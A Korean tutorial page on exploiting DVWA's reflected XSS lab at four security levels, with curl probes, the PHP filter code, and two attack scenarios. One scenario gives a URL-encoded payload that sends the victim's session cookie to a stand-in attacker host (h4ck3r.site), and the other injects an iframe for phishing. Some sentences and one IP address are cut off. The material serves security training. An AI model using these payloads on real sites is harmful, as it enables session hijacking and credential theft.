홈페이지 취약점 분석 이야기 | 파일 지도 사진 깨알 |
---|
>> 목록보이기 DVWA: Reflected XSS (low, medium, high level) 공략DVWA(Damn Vulnerable Web Application) 1.9 훈련장 라이브 ISO는 다음에서 다운로드 받을 수 있다. DVWA 1.9 훈련장 라이브 ISO를 구동하는 방법은 다음 문서에서 볼 수 있다.
여기서는 구동 후 DVWA 훈련장의 주소가
HTTP 통신을 확인하기 위해서 Firefox 환경설정에서 OWASP-ZAP을 HTTP 프록시로 연결하는 것이 좋다. XSS 취약점은 사용자의 입력을 HTML에 출력하는 부분에서 발생한다. 기본적으로 자바스크립트 삽입이 가능한 지 점검하는 방법은 HTML 삽입 취약점 탐지방법 문서에서 살펴볼 수 있다. 기초조사: 부등호 문자 방어기작 확인
DVWA: XSS (Reflected)의 각 보안수준 문제에서 부등호(<, >)를 어떻게 처리하는 지
root@kali:~# curl --cookie "PHPSESSID=ndnl8peb1lrk880lcrpp0iras1; security=low" "http://192.168.189lnerabilities/xss_r/?name=LT%3C0oooo%3EGT" 2> /dev/null | grep 0oooo <pre>Hello LT<0oooo>GT</pre> root@kali:~#
root@kali:~# curl --cookie "PHPSESSID=ndnl8peb1lrk880lcrpp0iras1; security=medium" "http://192.168.189lnerabilities/xss_r/?name=LT%3C0oooo%3EGT" 2> /dev/null | grep 0oooo <pre>Hello LT<0oooo>GT</pre> root@kali:~#
root@kali:~# curl --cookie "PHPSESSID=ndnl8peb1lrk880lcrpp0iras1; security=high" "http://192.168.189lnerabilities/xss_r/?name=LT%3C0oooo%3EGT" 2> /dev/null | grep 0oooo <pre>Hello LT<0oooo>GT</pre> root@kali:~#
root@kali:~# curl --cookie "PHPSESSID=ndnl8peb1lrk880lcrpp0iras1; security=impossible" "http://192.168.189.246/vulnerabilities/xss_r/?name=LT%3C0oooo%3EGT&user_token=dceb831357eabff2d157911523b2d67f" 2> /dev/null | grep 0oooo <pre>Hello LT<0oooo>GT</pre> root@kali:~#
네 경우 모두 Vulnerability: 반사형 XSS (low level) 실습 설명Vulnerability: Reflected Cross Site Scripting (XSS) low level에서는 사용자의 입력을 그대로 출력한다. PHP 소스코드를 살펴보자. // Feedback for end user echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
GET 방식으로 전달되는
위의 그림은 Vulnerability: 반사형 XSS (medium level) 실습 설명Medium level의 PHP 소스 코드를 살펴보자. // Get input $name = str_replace( '<script>', '', $_GET[ 'name' ] ); // Feedback for end user echo "<pre>Hello ${name}</pre>";
PHP의
Vulnerability: 반사형 XSS (high level) 실습 설명High level에서의 HTML 삽입 방어기작을 살펴보자. 관련 PHP 소스는 다음과 같다. // Get input $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] ); // Feedback for end user echo "<pre>Hello ${name}</pre>";
PHP의
그런데 자바스크립트를 삽입할 수 있는 방법이 너무나 많다는 것이 문제다. OWASP의 XSS 방어 우회법(XSS Filter Evasion Cheat Sheet)을 살펴보면 너무나 많은 방법이 있다.
XSS 방어 우회의 대표적인 방법으로 Vulnerability: 반사형 XSS (impossible level) 실습 설명이제 HTML삽입이 불가능한 impossible level의 PHP 소스코드를 살펴보자. // Check Anti-CSRF token checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); // Get input $name = htmlspecialchars( $_GET[ 'name' ] ); // Feedback for end user echo "<pre>Hello ${name}</pre>";
GET 방식으로 전달된
참고로,
위의 그림은 impossible level에서
위 그림은 impossible level에서의 HTML 소스를 열람한 것이다.
GET의
특수한 상황에서는 공격 시나리오 - 세션탈취
세션 쿠키를 빼내면 피해자의 권한을 탈취할 수 있다.
DVWA: Reflected XSS (low level)을 이용한 세션쿠키 탈취 시나리오를 생각해보자.
공격자는 취약점을 파악하고 http://192.168.189.246/vulnerabilities/xss_r/?name=%3Cimg+width%3D%220%22+height%3D%220%22+src%3D%22x%22+onerror%3D%22document.location%3D%27http%3A%2F%2Fh4ck3r.site%2Flog_cookie.cgi%3Fcookie%3D%27%2Bdocument.cookie%22%3E 공격자는 관리자의 웹메일 계정으로 위의 URL을 보낸다. 관리자가 관심을 가질만한 내용의 메일이지만 실제로는 위의 URL이 <iframe>에 은닉되어 있을 것이다. 관리자는 피해 사이트에 5분 전까지 관리자로 접속했다가 해당 탭을 껐다. 웹브라우저를 종료하지는 않았다. 그리고 같은 웹브라우저에서 공격자가 보낸 웹메일을 읽는다. 공격자가 <iframe>에 숨긴 위의 URL이 실행된다. 관리자는 눈치채지 못한다. http://h4ck3r.site/log_cookie.cgi?cookie=PHPSESSID=ndnl8peb1lrk880lcrpp0iras1;%20security=low <iframe>에 은닉한 URL은 자바스크립트를 통해 웹브라우저가 위의 URL로 접속하게 한다. 공격자의 서버로 관리자의 세션 키가 전송된다.
공격자는 자신의 서버로 전달된
일반적으로 쿠키는 유효기간을 정하지 않는 경우가 많다.
이러한 경우에는 웹 브라우저를 완전히 종료하지 않는 한, 웹 브라우저는 쿠키를 계속 저장하고 있다.
이 시나리오에서, 관리자는 관리자 페이지 공격 시나리오 - 피싱(Phishing)세션 쿠키에 대해서 HttpOnly가 설정된 경우에는 XSS를 이용한 세션탈취가 어렵다. 이런 경우에는 HTML삽입을 통해 피싱(Phishing)을 시도할 수 있다. 공격자는 외부 URL을 <iframe>에 삽입할 수 있도록 다음과 같은 URL을 준비한다. http://192.168.189.246/vulnerabilities/xss_r/?name=You+need+to+login+to+use+this+page.%3Cbr%3E%3C%2Fpre%3E%3Ciframe+width%3D600+height%3D400+src%3D%22http%3A%2F%2Fwww.daum.net%22%3E%3C%2Fiframe%3E#
위의 URL에서
메일이나 질의응답 게시판 등을 이용하여 관리자가 공격자의 URL에 접근하게 유인한다. 이때 관리자는 위와 같은 화면을 보게 된다. 만약 http://www.daum.net이 공격자가 매우 정교하게 만든 관리자 로그인 페이지라면 관리자가 ID/PW를 입력할 가능성이 있다. 관리자가 부주의하게 ID/PW를 입력했다면 공격자의 서버에 계정정보가 저장된다. [처음 작성한 날: 2016.12.27] [마지막으로 고친 날: 2016.12.27] < 이전 글 : DVWA Blind SQL Injection (low, medium level) sqlmap 실습 설명서 (2016.12.26) > 다음 글 : DVWA Stored Cross Site Scripting (XSS) 실습 설명서 (2017.01.01) 이 저작물은 크리에이티브 커먼즈 저작자표시 4.0 국제 라이선스에 따라 이용할 수 있습니다. 잘못된 내용, 오탈자 및 기타 문의사항은 j1n5uk{at}daum.net으로 연락주시기 바랍니다. 문서의 시작으로 컴퓨터 깨알지식 웹핵 누리집 대문 |